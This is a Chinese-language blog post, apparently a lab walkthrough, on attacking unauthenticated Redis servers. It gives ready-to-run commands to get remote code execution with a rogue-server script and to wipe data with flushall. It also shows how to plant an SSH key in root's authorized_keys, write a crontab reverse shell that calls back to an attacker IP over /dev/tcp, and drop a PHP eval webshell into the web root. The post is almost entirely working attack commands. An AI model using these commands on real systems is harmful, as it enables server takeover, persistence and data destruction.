zoukankan      html  css  js  c++  java
  • Redis(6379)未授权访问

    环境搭建

     打开kali终端 输入命令

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz

    tar xzf redis-3.2.0.tar.gz

    cd redis-3.2.0

    make

    cd src

    cp redis-server /usr/bin

    cp redis-cli /usr/bin

    将redis-server和redis-cli拷贝到/usr/bin目录下

    cd ..

    返回目录redis-3.2,将redis.conf拷贝到/etc/目录下:

    cp redis.conf /etc

    使用/etc/目录下的reids.conf文件中的配置启动redis服务:

    再次进入src目录

    redis-server /etc/redis.conf

    编辑etc中的redis配置文件redis.conf

    vim /etc/redis.conf

    打开kali的第二个终端 再次来到src目录

    cd redis-3.2.0

    ls

    cd src

    ./redis-cli -h (ip地址)

    get dir  或者info

     

    一、脚本测试

    https://github.com/vulhub/redis-rogue-getshell

    cd RedisModulesSDK/

    make

    cd ../

    python3 redis-master.py -r 192.168.49.2 -p 6379 -L 192.168.49.5 -P 4441 -f RedisModulesSDK/exp.so -c "id"

    二、手工测试
    1.远程连接

    查看里面的key和其对应的值

    2. Redis删除数据

    flushall 删除所有数据

    del key 删除键为key的数据

    3.通过ssh密钥登陆Redis Server

    攻击机上ssh-keygen生成公钥和私钥,将公钥写入Redis服务器,即可使用私钥登陆

    ssh-keygen

    cat  /root/.ssh/id_rsa.pub

    输入以下命令:

    cd /root/.ssh

    ls

    (echo -e " "; cat id_rsa.pub; echo -e " ") > key.txt

    cat /root/.ssh/key.txt | ./redis-cli -h 192.168.244.128 -x set xxx

    ./redis-cli -h 192.168.244.128

    config set dir /root/.ssh

    config set dbfilename authorized_keys

    keys *

    save

    这时候用ssh远程连接:

    ssh 192.168.244.128

    4.在crontab里写定时任务,反弹shell

    首先攻击端 开启监听

    nc -l 4444

    连接redis,写入定时任务

    ./redis-cli -h 192.168.244.128

    set xxx " */1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/4444 0>&1 "

    config set dir /var/spool/cron

    config set dbfilename root

    save

    5.写入webshell文件

    ./redis-cli -h 192.168.244.128

    config set dir /var/www/html

    set xxx " <?php @eval($_POST['c']);?> "

    config set dbfilename webshell.php

    save

    脚本检测

    https://github.com/n0b0dyCN/redis-rogue-server



  • 相关阅读:
    centos8重置root密码
    Mysql查询某列最长字符串记录
    ssm连接mysql出现Connections could not be acquired from the underlying database 问题
    spring-基于xml配置Bean
    WinForm控件命名缩写
    SQL Server 将一张表的某个字段更新到另一张表中
    SQL Server 取出指定字符后字符串(用于分割)
    小白学CMD下运行MySQL
    Bootstrap3.0和bootstrap2.x的区别
    有关js弹出提示框几种方法
  • 原文地址:https://www.cnblogs.com/bingtang123/p/14708854.html
Copyright © 2011-2022 走看看